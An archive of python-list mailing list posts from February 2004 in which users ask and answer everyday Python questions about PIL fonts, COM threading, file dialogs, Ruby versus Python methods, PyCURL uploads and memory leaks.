|cookedm(at)physics(dot)mcmaster(dot)ca


From stefnin at alussinan.org  Sun Feb  8 16:22:35 2004
From: stefnin at alussinan.org (Stéphane Ninin)
Date: 08 Feb 2004 21:22:35 GMT
Subject: fonts in PIL ?
Message-ID: <Xns9489E52CDD393stefninnospamyahoofr@213.228.0.4>


  Hello all,

I am writing (on Linux Redhat 9)
some script to make graphs using PIL, from a set of points.

All is ok, except that there seems to be no font coming with PIL.
Where could I fond some ? 
Also, are there some real examples of use of fonts in PIL ?

Documentation says something like:

> load
> ImageFont.load(file) => Font instance
> 
> Loads a font from the given file, and returns the corresponding font 
> object. If this function fails, it raises an IOError exception.

but should "file" be the full path to the font, 
or just a font name ?

  Same question for method truetype:

> truetype
> ImageFont.truetype(file, size) => Font instance
> 
> Load a TrueType or OpenType font file, and create a font object. This 
> function loads a font object from the given file, and creates a font 
> object for a font of the given size.

> On Windows, if the given file name does not exist, the loader also looks 
> in Windows fonts directory.


Also, only true type fonts can be resized:
there is no easy way to resize standard fonts ?
(I am not a font expert :) )


Thanks in advance for your answers.


  Regards,

-- 
Stephane Ninin






 


From skatepunk319 at hotmail.com  Sat Feb 14 15:03:58 2004
From: skatepunk319 at hotmail.com (Spencer)
Date: 14 Feb 2004 12:03:58 -0800
Subject: How to make forums
Message-ID: <cb4342b6.0402141203.7afb55b3@posting.google.com>

I am interested in making my own forums (powered by Python). I was
wondering what would be needed to make one, so that I can start making
it.

I have always used the login script I made (it uses PHP and MySQL),
will people be able to use the forums using a PHP/MySQL login script?
Will it makes things more complicated?

Of course I will answer any questions you may have.


From majordomo-owner at mj2.freeswan.org  Sun Feb  1 02:33:36 2004
From: majordomo-owner at mj2.freeswan.org (majordomo-owner at mj2.freeswan.org)
Date: Sun, 01 Feb 2004 08:33:36 +0100
Subject: Majordomo results: hello
Message-ID: <20040201073336.306162AD03@lists.freeswan.org>

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From usenet at ixokai.net  Mon Feb  9 14:05:08 2004
From: usenet at ixokai.net (Ixokai)
Date: Mon, 9 Feb 2004 11:05:08 -0800
Subject: CoInitialize error when using adodbapi
References: <c089rb$7cg$1@hyppo.gu.net>
Message-ID: <102fmf9l12eho0e@corp.supernews.com>

Basically, adodbapi uses COM, and COM and threads require a bit of care,
apparently.  Your webkit thing may be using a thread to handle stuff.

import pythoncom
pythoncom.CoInitialize()
... code ...
pythoncom.CoUnitialize()

You need to call pythoncom.CoInitialize() once for each thread... theres
something about sys.coinit_flags = 0 (or 1) that may be nessecary but I
don't know what they mean precisely :)

--Stephen
"Max Ischenko" <max at ucmg.com.ua.remove.it> wrote in message
news:c089rb$7cg$1 at hyppo.gu.net...
>
> Hi,
>
> I'm using adodbapi wrapper arount OLEDB driver and I got this error when
> calling adodbapi.connect():
> (-2147221008, 'CoInitialize has not been called.', None, None)
>
> The weird part is that it occurs only when running under WebKit, my
> standalone test programs run just fine.
>
> I'm using py2.3 with win32all build 163, if that matters.
>
> Any ideas?
>
> tia.




From magnus at thinkware.se  Fri Feb 20 13:51:56 2004
From: magnus at thinkware.se (Magnus Lyck?)
Date: 20 Feb 2004 10:51:56 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <258fd9b8.0402201051.577b0fab@posting.google.com>

"kbass" <kbass at midsouth.rr.com> wrote in message news:<LaBXb.8774$g95.1612 at fe3.columbus.rr.com>...
> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.

I don't think a tenfold programmer productivity increase over Java 
is typical, but there are certainly examples of significant 
productivity gains in converting to Python from some other language. 

See here for instance:
http://www.thinkware.se/cgi-bin/thinki.cgi/PythonQuotes

E.g.

"I was amazed by the amount [of] flexibility and self-awareness that
Python had. When a 20,000 line project went to approximately 3,000
lines overnight, and came out being more flexible and robust once it
had been completed, I realized I was on to something really good."

  --Glyph Lefkowitz (Developer of the Twisted network server
framework)

This 6-7-fold improvement was in going from C++ I think.

"...However, it did provide a hard measurement on the benefits of
using Python instead of C++: the lines of Python code was 10% of the
equivalent C++ code. ... From a software engineering standpoint, this
was a tremendous success. Bug counts are always proportional to the
number of lines of code, meaning that the Python version should have
10% of the bugs of the C++ version. Further, the fewer lines of code
meant that it would have a smaller and more understandable "footprint"
in the developers' minds. The Python code was arguably more
maintainable due to its improved readability and rapid edit-test cycle
(no compile and link step). Lastly, the server could also be shown to
be more robust - being entirely in Python, it was not subject to
memory-related coding errors such as null pointers, buffer
misallocation and overruns, or unfreed or doubly-freed memory..."

--Greg Stein, eShop (which was later sold to Microsoft)

Here you have a 10-fold gain, going from C++.

Another aspect of any X-fold programmer productivity improvement is 
that there is a lot more than just programming going on in a project.
If requirements capture, analysis, design, testing, documentation,
planning etc takes the same amount of time, you will still not be
able to influence the total project cost a lot.

On the other hand, using a tool like Python doesn't just influence
the programmers, but the whole project! If prototyping and coding
in general becomes significantly faster, the trade off for how much
analysis and design you should do will change. Why spend weeks at
a conference table arguing about different design alternatives if
the programmers can supply several different implementations within
a day?

The sooner a prototype can be put in the hands of the end users, the
faster mistakes in the requirements gathering will be sorted out,
and new needs will be discovered and can be weighed in before it's
too late.

The ability to play interactively with Python objects and to develop
really rapidly means that the roundtrip from end user request, to
a new prototype for her to try out, can be reduced from hours to 
minutes or from days to hours. There is no reason to even leave the 
end users computer to add and demonstrate a new or changed feature. 
All we need is there...

Testing, deployment, data conversion etc are also parts of software 
development projects that can gain a lot from having a tool like 
Python available.

Other examples of productivity boosts with python can be found here:
http://pythonology.org/success

Few mention numbers though. I guess that there are some organisations
that use the Capability Maturity Model for Software who would be able
to find useful metrics if they used Python for a project similar to
one where they had previously used Java, but a) few use CMM with such
rigor, and b) if they did, they might not want to tell! Let the
competition continue to waste their time coding Java. :) Finally, c)
organisations where CMM is popular are probably organisations where
static typing, waterfall development style and other rigid and archaic
ideas are more popular than agile methods and tools.

Still benchmarks always have a limited value.

I've looked a bit at benchmarks, such as The Great Computer Language 
Shootout and looking at lines of code there, gives much smaller 
differences than five to ten times. I compared C++ and Python, and C++
varied from 25% less to 500% more lines of code, on the average C++ 
programs were around 80% longer. Less than a twofold gain it seems...

But when we study the material in more detail, we see some relevant
things:

The more "realistic" the benchmarks are, the bigger the difference: 
For plain algorithm tests and things like "nested loops", "call a 
method", "instanciate an object" etc, there is almost no difference. 
For things like "echo client/server", "spell check", file handling 
etc, the difference is between 2.4 and 5.1 times.

I don't know how strong the Java standard library is, but several of 
the benchmarks are about reimplementing builtin things in Python, such
as sorting and random number generation. Completely meaningless! A 
real life implementation would be a much shorter, since most of the 
needed code is already in a standard library module!

For fun, I've made Python programs that achieved the same end result
without trying to use the same (meaningless) methods as the other
programs in the benchmark, and they are often 10 times shorter. 
Sometimes they are also much faster and scalable. 

There are three big reasons that Python programs are typically short 
and easy to read.
 * The Python syntax and data types are at a higher level of 
   abstraction, and don't have a lot of noise. It's also designed 
   with the objective of making it easy to do the right thing, rather 
   than making it difficult to do the wrong thing.
 * The dynamic nature of Python makes it easy to write very flexible
   code, and avoid a lot of code redundancy and twisting that is 
   common as you have to fight against the limitations of more static 
   and low level languages.
 * Python's standard library is rich and reasonably easy to use.

In addition to that, the absence of compile and link steps in Python
makes development much faster than languages like C++. I've worked
in large C++ projects where building major applications could take
an hour due to the extensive dependencies. In Python this is a non-
issue. I don't know enough about Java development to compare with 
that.

Since Python programs are shorter and easier to understand, and
faster to write than programs written in most other languages, it's
usually viable to change or rewrite code which is slow or otherwise
non-optimal, while it's common in projects using other languages
that code which is known to be bad is kept because it's too costly
to fix it.

Anyway, if you try Python in some project, I geuss your will form
an educated opinion. I'm sure there is no one objective truth about
this. Different people have different preferences, and different
languages have different sweetspots. If you are writing drivers for
hardware, or encryption code, Python is probably not main language,
but it might still be very useful for various tools and one shot
hacks that you do while you develop the "real" software in some 
other language.

Some people think Ruby is "purer" and "prettier" than Python. 
Personally, I find the Perl-like features, such as various #@$%
etc and mixing regular expressions in the syntax of the language
rather awkward.


From dswj at plasa.com  Wed Feb 18 08:04:17 2004
From: dswj at plasa.com (dw)
Date: Wed, 18 Feb 2004 20:04:17 +0700
Subject: curses class
Message-ID: <web-9214798@b2.c.plasa.com>


Yo guys,

i've been looking into multiplatform console/terminal POS 
solution
using python+curses, but stopped on the learning curve 
curses poses
beautifully, and am now wondering if anyone has been 
making wonderful
class for making text-based dialog box, grid, choose list, 
window,
large-font, menu, and most of the spices that makes up a 
good terminal
based program?

--
   dody wijaya

===========================================================================================
Akses Internet Prabayar TELKOMNet-Prepaid,
 nominal Rp.10.000- Rp.150.000. 
Dapatkan di Plasa - Plasa TELKOM terdekat (khusus di Jawa Timur)
===========================================================================================



From timothy.williams at nvl.army.mil  Thu Feb 26 08:14:13 2004
From: timothy.williams at nvl.army.mil (Tim Williams)
Date: 26 Feb 2004 05:14:13 -0800
Subject: tkFileDialog different between Linux and Windows
References: <faf44c99.0402240955.4613fd6a@posting.google.com>
	<c1gqa2$mve$1@nntp6.u.washington.edu>
Message-ID: <faf44c99.0402260514.39d1a518@posting.google.com>

"Russell E. Owen" <no at spam.invalid> wrote in message news:<c1gqa2$mve$1 at nntp6.u.washington.edu>...
> In article <faf44c99.0402240955.4613fd6a at posting.google.com>,
>  timothy.williams at nvl.army.mil (Tim Williams) wrote:
> 
> >I'm using Python 2.3.2 and tkFileDialog in a program I have. I'm
> >trying to use this on Linux (RH 8.0) and Windows 2000. When I first
> >upgraded from v2.2 to v2.3. I noticed that
> >tkFileDialog.askopenfilename() returns a tuple on Cancel instead of 
> >''. I found that the Windows version still returns a string (''). Now
> >I'm finding out that tkFileDialog.Directory().show() does this too.
>  ...
> >How can I check tkFileDialog to do the "right" thing?  All I want is
> >the string that contains the path, but I want this to work on both
> >Linux and Windows.
> 
> Is this the sort of thing you want?
> 
> dirobj = tkFileDialog.askdirectory()
> if not dirobj:
>   # user Cancelled; works whether the return is '' or ()
>   return
> 
> # dirobj may be a string or a Tk_Obj
> dirname = unicode(dirobj)
>   
> The same code should work for askopenfilename.


That did it! Thanks!


From kbk at shore.net  Fri Feb  6 14:45:46 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Fri, 06 Feb 2004 19:45:46 GMT
Subject: new newbie
References: <UJNUb.10836$213.5980@edtnps89> <X_RUb.500$7Q1.161@clgrps12>
Message-ID: <87llngj8k6.fsf@hydra.localdomain>

not_yet <user at domain.invalid> writes:

> also wanted to ask is there a faq for this group?

www.python.org/doc/faq

For the newsgroups, you can search quickly using Google Groups:

www.python.org/search

-- 
KBK


From stewart at midtoad.homelinux.org  Mon Feb 23 01:15:32 2004
From: stewart at midtoad.homelinux.org (stewart)
Date: Mon, 23 Feb 2004 06:15:32 GMT
Subject: learning to program with Python
References: <mailman.161.1077460590.27104.python-list@python.org>
Message-ID: <8Ug_b.593859$X%5.271567@pd7tw2no>

Ricardo wrote:

>  The code in wich i'm
> having problems is as follows:
> 
...
> if corPelo != None
>   self.corPelo = corPelo
...

Oi Ricardo, tudo bem?

I see at least two problems here.  Python requires brackets around the 'if'
comparison, and a colon at the end of the if statement.  Try re-writing
your statement as:
if (corPelo != None):
   self.corPelo = corPelo

Boa sorte!
S



From tjreedy at udel.edu  Sun Feb 22 14:27:28 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 22 Feb 2004 14:27:28 -0500
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
Message-ID: <c1avqt$52m$1@sea.gmane.org>


"weasel" <healthed at hotmail.com> wrote in message
news:3uuh305tv9o3g5dpenoqaghtbkiuihdpua at 4ax.com...
> Why is the Farenheit to Celsius part not working properly?

Specific examples of what you put in, what you get out, and what you
expected out and why often helps get answers.

> Instead of
> showing a similar range of what the farenheit is listing, the celsius
> portion is showing half the range of farenheit.

Celcius ranges are 5/9ths, approximately 1/2, the corresponding Farenheit
ranges.

Terry J. Reedy






From joe at notcharles.ca  Wed Feb 25 15:42:38 2004
From: joe at notcharles.ca (Joe Mason)
Date: Wed, 25 Feb 2004 20:42:38 GMT
Subject: How does Ruby compare to Python?? How good is DESIGN of
	Rubycompared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
Message-ID: <slrnc3q0j8.jm5.joe@gate.notcharles.ca>

In article <mailman.100.1077717447.8594.python-list at python.org>, Dave Brueck wrote:
> def someFunc(callback):
>   print callback(5,6)
> 
> def functionCallback(a, b):
>   return a + b
> 
> class Foo:
>   def methodCallback(self, a, b):
>     return a * b
> 
> then both these work:
> 
> someFunc(functionCallback)
> f = Foo()
> someFunc(f.methodCallback)
> 
> This is pretty darn useful and IMO quite Pythonic: the creator of the function
> and the creator of the callback have to agree on only the most minimal set of
> details - just those relating to the calling interface - leaving completely
> open any implementation details.

I still don't see how this is notable.  Seems perfectly straightforward to
me - I'd just assume that's how it worked except in C++, about which I
never assume anything.

A better example of buond vs. unbound methods is this:

def boundFunc(callback):
    print callback(5, 6)

def unboundFunc(obj, callback):
    print callback(obj, 5, 6)
    
def functionCallback(a, b):
    return a + b

class Foo:
    def methodCallback(self, a, b):
        return a * b + self.c
    def setc(self, c):
        self.c = c

>>> boundFunc(functionCallback)
11
>>> f = Foo()
>>> f.setc(3)
>>> boundFunc(f.methodCallback)
33
>>> unboundFunc(f, Foo.methodCallback)
33

For anyone who does care, the Ruby version is

def boundFunc(callback)
    puts callback.call(5, 6)
end

def unboundFunc(obj, callback)
    callback.bind(obj).call(5, 6)
end

def functionCallback(a, b)
    return a + b
end

class Foo
    def methodCallback(a, b)
        return a * b + @c
    end
    def setc(c)
        @c = c
    end
end

> boundFunc(method(:functionCallback))
11
=> nil
> f = Foo.new
=> #<Foo:0x403119dc>
> f.setc(3)
=> 3
> boundFunc(f.method(:methodCallback))
33
=> nil
> unboundFunc(f, Foo.instance_method(:methodCallback))
=> 33

It's a little more cumbersome to manipulate functions because of the
extra calls to "call" and "bind", because "f.methodCallback" actually
calls the method with no params instead of returning a reference to it.
This is one of the things I dislike about Ruby, but it's not like
unbound methods are missing from the language.

(I was wrong when I said "unbound method" was a concept that had no
meaning to Ruby - it even had a "bind" method to support them.  Didn't
know about that until I looked it up just now.)

Joe


From ab at telin.diespammerdie.UGent.be  Fri Feb  6 05:25:22 2004
From: ab at telin.diespammerdie.UGent.be (Alex Borghgraef)
Date: Fri, 6 Feb 2004 10:25:22 +0000 (UTC)
Subject: Python projects in kdevelop 2.1
Message-ID: <bvvq2i$l6i$1@gaudi2.UGent.be>

Hi all,

 Since we don't have gideon installed here at work, I was wondering if 
it is possible to use the older version, kdevelop 2.1 for python projects.
If so, how? Do I have to download some plugin of sorts? 

-- 
Alex Borghgraef


From jzgoda at gazeta.usun.pl  Sun Feb 22 11:43:55 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 22 Feb 2004 16:43:55 +0000 (UTC)
Subject: Some source code
References: <d8778a53.0402212014.7a292318@posting.google.com>
	<c1adgj$qgl$1@atlantis.news.tpi.pl>
Message-ID: <c1am8a$gpk$5@atlantis.news.tpi.pl>

Adam Przybyla <adam at gliwice.pl> pisze:

>> file('output.txt','w').writelines(['%s,"%s"\n' % (line[:-1],
>>     sum(map(int,line[1:-2].split('","')))) for line in
>>     file('input.txt')])
> file('output.txt','w').writelines(['%s,"%s"\n' % 
>       (line[:-1],sum(eval(line[1:-2]))) for line in file('input.txt')])

You still call this code "pythonic"?

-- 
Jarek Zgoda
http://jpa.berlios.de/


From claird at lairds.com  Sat Feb 21 12:17:13 2004
From: claird at lairds.com (Cameron Laird)
Date: Sat, 21 Feb 2004 17:17:13 -0000
Subject: How do I access Python's dictionary of all global variables?
References: <c9d82136.0402210903.7cbf2335@posting.google.com>
Message-ID: <103f4kp694je77e@corp.supernews.com>

In article <c9d82136.0402210903.7cbf2335 at posting.google.com>,
Noah <noah at noah.org> wrote:
>I thought that Python has a builtin dictionary that associates
>global variable names with their values. I have forgotten how to do this and
>I can't seem to come up with the right search keywords to locate this secret
>again. I'm trying to write a global dynamic variable debugger sort of thing.
>
>So for example you could have code that looked something akin to this:
>>>> x = 5
>>>> y = "hello"
>>>> z = [1,2,3]
>>>> print __VARS__['x'], __VARS__['y'], __VARS__['z']
>x hello [1, 2, 3]
>
>Is it possible to iterate through all variables in all scopes in all objects?
			.
			.
			.
Start with
  print globals()
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From http  Sat Feb 28 14:18:51 2004
From: http (Paul Rubin)
Date: 28 Feb 2004 11:18:51 -0800
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
Message-ID: <7xhdxbau78.fsf@ruckus.brouhaha.com>

"Carmine Noviello" <cnoviello at hotmail.com> writes:
> def pprint(*args):
>     txt = ""
>     for a in args:
>        txt += str(a)
>     print txt
> 
> Is it ok?

import sys
def pprint(*args):
   for a in args:
     sys.stdout.write(a)


From martin at v.loewis.de  Wed Feb 11 12:39:51 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2004 18:39:51 +0100
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
 warning: ISO C89 does not support `long long'
In-Reply-To: <mailman.1450.1076462050.12720.python-list@python.org>
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>	<16425.25330.886172.548459@montanaro.dyndns.org>	<20040210231435.GB15796@spawar.navy.mil>	<16425.31826.535656.7252@montanaro.dyndns.org>
	<mailman.1450.1076462050.12720.python-list@python.org>
Message-ID: <c0dpd2$dhr$00$2@news.t-online.com>

seberino at spawar.navy.mil wrote:
> However, I know in near future all Python
> integers will be of type "Python long" and there
> won't be "Python ints" anymore IIRC.

You might remember incorrectly, atleast with respect
to the time scale in which this is happening.

> I wonder if Python source will still use 64 bit ints then in
> implementation.

C ints and long longs have nothing to do with Python
ints and longs. A Python int is implemented with a C long,
and a Python long is not implemented with any primitive type
(instead, it is implemented as an array of C shorts).

In any case, Python will continue to use the PY_LONG_LONG
type even if Python ints would go away.

Regards,
Martin



From lutz at rmi.net  Tue Feb 10 11:02:15 2004
From: lutz at rmi.net (Mark Lutz)
Date: 10 Feb 2004 08:02:15 -0800
Subject: When Pythons Attack (article)
Message-ID: <mailman.1076429882.31445.clpa-moderators@python.org>

O'Reilly just posted an article I wrote,
which describes the most common mistakes 
made by Python beginners.  It's available
at this direct link:

http://www.onlamp.com/pub/a/python/2004/02/05/learn_python.html

but can also be found on O'Reilly's home 
page (www.oreilly.com), the O'Reilly Network
page (www.oreillynet.com), and the Python 
resources page (python.oreilly.com).

--Mark Lutz  (http://www.rmi.net/~lutz)



From klaus_neuner82 at yahoo.de  Fri Feb 13 07:09:13 2004
From: klaus_neuner82 at yahoo.de (Klaus Neuner)
Date: 13 Feb 2004 04:09:13 -0800
Subject: write a recognizer
References: <3e96ebd7.0402120105.14ee6f6d@posting.google.com>
Message-ID: <3e96ebd7.0402130409.6148caec@posting.google.com>

Thanks to all who participated in this thread.


From jnoller at reference-info.com  Wed Feb  4 09:27:18 2004
From: jnoller at reference-info.com (Jesse Noller)
Date: 4 Feb 2004 06:27:18 -0800
Subject: Read a binary file and feed it to PyCURL
Message-ID: <2835a96b.0402040627.37adc538@posting.google.com>

The problem: I am writing a file uploading utility in python that uses
the walk() function to parse a directory, finding any file under that
directory, and upload it to a remote server using the pyCURL curl
interface. The files are invariably binary files, and the upload
method is via an HTTP PUT to the system.

I also need to perform the reverse - I need to GET those files and
write them to disk.

The problem I am seeing is memory. Currently, I call
os.path.walk(dir), and then I call the upload function. The upload
function basically goes (the formatting got nuked when I pasted it):

f = open(filepath, "rb")
fs = os.path.getsize(filepath)

c = pycurl.Curl()
c.setopt(c.URL, target_url)
c.setopt(c.HTTPHEADER, ["User-Agent: Load Tool (PyCURL Load Tool)"])
c.setopt(c.PUT, 1)
c.setopt(c.READDATA, f)
c.setopt(c.INFILESIZE, int(fs))
c.setopt(c.NOSIGNAL, 1)                                               
         if verbose == 'true':
    c.setopt(c.VERBOSE, 1)
c.body = StringIO()                                                   
                 c.setopt(c.WRITEFUNCTION, c.body.write)
try:
c.perform()
except:
import traceback
traceback.print_exc(file=sys.stderr)
sys.stderr.flush()
f.close()
c.close()
sys.stdout.write(".")
sys.stdout.flush()


This opens the file via open() - which reads the file into memory.
This of course, causes problems when the client machine only has 512
megs of ram and we're uploading a 2-3 gig file (barring the argument
against doing this via HTTP PUT).

Does anyone know a more efficient method to do this with? Please also
note I am measuring the metrics for each transaction sent too - so I
don't want to chunk and then upload, as I only get metrics for the
chunks.

The metrics measuring comes before the c.close() function:

speed_up = c.getinfo(c.SPEED_UPLOAD)
size_up = c.getinfo(c.SIZE_UPLOAD)
ttime = c.getinfo(c.TOTAL_TIME)
ctime = c.getinfo(c.CONNECT_TIME)
sttime = c.getinfo(c.STARTTRANSFER_TIME)

Does anyone have any thoughts?

Thank you

-jesse


From deets_noospaam at web.de  Mon Feb  2 16:01:08 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Mon, 02 Feb 2004 22:01:08 +0100
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
Message-ID: <bvmdql$1sq$07$1@news.t-online.com>

> Anyone who has a better idea?

AFAIK MUAs usually use a mbox.index-file for faster access. The index is
computed once, and updated whenever a new message is added. You could
create this index quite easily yourself by looping over the mbox and
pickling a list of tell'ed positions. If you also store the creation-date
of the index and the filesize of the mbox-file, you should be able to
create a function that will update the index whenever the underlying mbox
has changed. Another approach would be to perform index-creation on regular
bases using cron.

Regards,

Diez


From trevp at trevp.net  Sat Feb 28 13:27:09 2004
From: trevp at trevp.net (Trevor Perrin)
Date: 28 Feb 2004 10:27:09 -0800
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
	<7x4qtcozv5.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280017.5f8af771@posting.google.com>
	<7xd67zsfqg.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0402281027.21cc232d@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xd67zsfqg.fsf at ruckus.brouhaha.com>...
> trevp at trevp.net (Trevor Perrin) writes:
> > >  I proposed a standard block cipher API and wrote a
> > > sample implementation last year,
> > 
> > I like that API.  I wonder if there's any performance issues in
> > separating the codebook from the mode-of-operation, but I haven't
> > thought about that much.
> 
> If needed, the C-level API can be expanded so codebook modules have a
> way to communicate directly with the modes-of-operation module,
> without needing to do Python attribute lookups all the time.  But even
> without that optimization, I don't think the performance issues should
> be so bad.  The attribute lookup shouldn't be any slower than a
> codebook call, so if you do it just once when you invoke a chaining
> mode, the overhead for large buffers should be minimal.

Sounds good, as long as you don't have to do anything expensive
per-block.


> Do you happen to have a pure-Python DES implementation around?  I
> started writing one once, but it had some bug (i.e. it didn't pass
> FIPS test vectors) that I never got around chasing down.

I found one here:
http://home.pacific.net.au/~twhitema/des.html

It's too slow to do anything useful (that's DES's fault, I think, not
the progammer's).


> 
> Did you ever look at the key management scheme I circulated a while
> back?  Is it the kind of thing anyone cares about?

I didn't see that.  I did see that you've talked about a stdlib
interface to OS-level Random Number Generators, like /dev/urandom and
CryptGenRandom.  I think that's an excellent idea.

(aside from ciphers and RNGs, the other thing on my wish-list is
faster modular exponentiation..  Python use a simple right-to-left
square-and-multiply.  I'm no expert here, but I think it would be
pretty easy to make that a few times faster for crypto sized numbers. 
tlslite's handshaking, in python code, is ~5x slower than OpenSSL
right now..)


Trevor


From shalabh at gameboard.org  Mon Feb 16 01:39:46 2004
From: shalabh at gameboard.org (Shalabh Chaturvedi)
Date: 15 Feb 2004 22:39:46 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <c7ec16d1.0402152239.235e24fc@posting.google.com>

"kbass" <kbass at midsouth.rr.com> wrote in message news:<LaBXb.8774$g95.1612 at fe3.columbus.rr.com>...
> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.

There is lot that can be said about why Python is more productive.
I'll make one point that has not yet been mentioned in this thread.

I like to say that Python has a very good impedance match with the
mind (mine at least :). Normally when you program, you:

1. Analyze the problem
2. Come up with a 'solution in mind'
3. Translate the 'solution in mind' into 'solution in code'

It's 3 where Python shines. For a concrete example, consider looping
over a list of items. Apart from the looping object and the list, you
need:

Java: An iterator
C: A counter
Perl: A lot of '$' signs :)
Python: Nothing. (for item in mylist:)

Notice how Python keeps it explicit yet minimal, and there's nothing
more in your mind than what is absolutely necessary ("fits you
brain"). As a real life analogy, when I make a multi-egg omelette, for
each egg in bunch_of_eggs, I pan.put(egg.break()). If I had to think
of an iterator, or a counter, it would be lunchtime before I'd have
breakfast.

In other words, Python *is* how I think. This is what I mean by a good
impedance match.

Note that you can still use an iterator in Python (but only if and
when you need it).

For another example, consider nested lists in Perl and Python. In Perl
one struggles with the language, in Python one struggles with only the
problem.

In other languages I've used (Java, C++, Perl), I always get
sidetracked into syntax issues ("oh I have to write it *this* way!"),
library issues ("oh I have to import this and that first!") and such,
all of which consume my brainpower leaving little for the problem at
hand. These little things add up and affect productivity tremendously.
Python has few of these and I've always found myself rushing to Python
as the first choice to implement any algorithm, solution, or idea that
I had. It is the shortest path to the program.

Some newcomers are so used to thinking in roundabout ways that they
write C or Java code in Python. I did too - using counters for loops,
creating way too many classes etc. But eventually everyone learns the
power of simplicity.

Naturally, reading a Python program and figuring out what it does is
fast too, greatly improving maintainability.

I'm writing an article on Python productivity, which I'll post here at
some point.

Cheers,
Shalabh


From peter at engcorp.com  Tue Feb 24 14:30:07 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 24 Feb 2004 14:30:07 -0500
Subject: Memory Leak
References: <f3ff61d9.0402240659.742d2d2a@posting.google.com>
Message-ID: <403BA63F.ACCB26CB@engcorp.com>

Guy wrote:
> 
> It might take me a little time to explain this but here goes.

Thanks for the details you did provide; it's more than most manage!

> Firstly I'm not using the latest upto date python releases so my first
> plan is to try more upto date rels of python and win32 libs, as this
> has fixed problems for me in the past (Don't like doing this as it
> usally breaks stuff and sys admin are slow to update software,
> although they do a cracking job, just covering my back.)

Definitely do that.  There have been memory leaks in past versions
(and possibly are in the latest too, but it's perhaps less likely unless
you are using some of the newest features, which you obviously aren't).

I'd even suggest that doing much before you try that would be a waste.

> The problems occure when I build more than one flavour of the product,
> (there are 16 possible flavours and about 50 modules which get turned
> into libs and exe's  this means theres 800 processes to be set off one
> after the other or if using a clean build 1600 process and thats just
> for win32, to build one flavour it takes about 40 mins on my comp.)
> 
> When using the build script it keeps logs of what its built and
> records all output from the process all these python objs and lists
> are destroyed by using del to try and free up memory, this never seems
> to have that much effect the memory just keeps getting used up until
> usally the script or python crashes due to the lack of mem.

Memory leaks are extremely difficult to debug, perhaps more difficult 
than any other problem except race conditions.

Thankfully, real memory leaks are very rare.  I don't think you've
described enough to prove that you actually have a memory leak.  What
you are describing sounds more like you're just using up all the 
resources too quickly, which is more of a capacity (or design) problem
than anything else.

More importantly, you've got way too many variables involved to be
able to troubleshoot this, if it's really a memory leak.  You absolutely
will have to simplify the setup, while keeping the problem occurring,
in order to solve this issue.  If this is a memory leak involving Python,
you will be able to reproduce it with a program that involves nothing
but Python, and perhaps a small external dummy program that you launch
repeatedly in the other processes.

You shouldn't have to bother with "del" at all, since all that does is
release the name from the object it's bound to (or vice versa) and if
there are no other names bound to the object, Python will free the memory
anyway.  (Note that it might not return the memory to the OS, however.
You can't force that to happen, either.)  Doing a "del" followed by 
reassigning the name to a new object is basically a waste of time.

Consider this.  From the looks of things, you are doing so much that
is actually *outside* of the scope of Python that you might simply
be running out of memory elsewhere.

Also consider whether this might be due to memory fragmentation rather
than true leaking.  You might need to analyze your pattern of memory 
usage to see whether this could be the case.

-Peter


From piedmontbiz at aol.com  Sun Feb 29 12:50:27 2004
From: piedmontbiz at aol.com (PiedmontBiz)
Date: 29 Feb 2004 17:50:27 GMT
Subject: Brent Ashley's JavaScript remote scripting (JSRS)
Message-ID: <20040229125027.01774.00000642@mb-m22.aol.com>

I am looking for ways to do interactive web pages with python as a backend.

I ran across serveral articles on Brent Ashley's JavaScript remote scripting
(JSRS) locateded at http://www.ashleyit.com/rs/

This package allows a client web browser to transfer data to and from the
server without loading reloading pages.... as I understand it. The resulting
"application" would be have like a desktop application.

I downloaded and am now studying the code.
There are no demos with a web page calling a python script but I am going to
whip something up soon.

Anyone with any experience with this? Does it really work? Any caveats?

Thanks


allen


From hermes at numericable.fr  Fri Feb 20 06:03:31 2004
From: hermes at numericable.fr (hermes at numericable.fr)
Date: Fri, 20 Feb 2004 12:03:31 +0100 (MET)
Subject: Python and C
Message-ID: <1077275011.4035e983d897a@pascal.numericable.net>

Hi, this may be a newbie question, as I'm quite new to python but I'd rather get
your points of view instead of wasting a week or two on a wrong way 

I'm using python 2.3 on a mandrake brand new system 

My problem : I'd like to use a complex C program under python. 
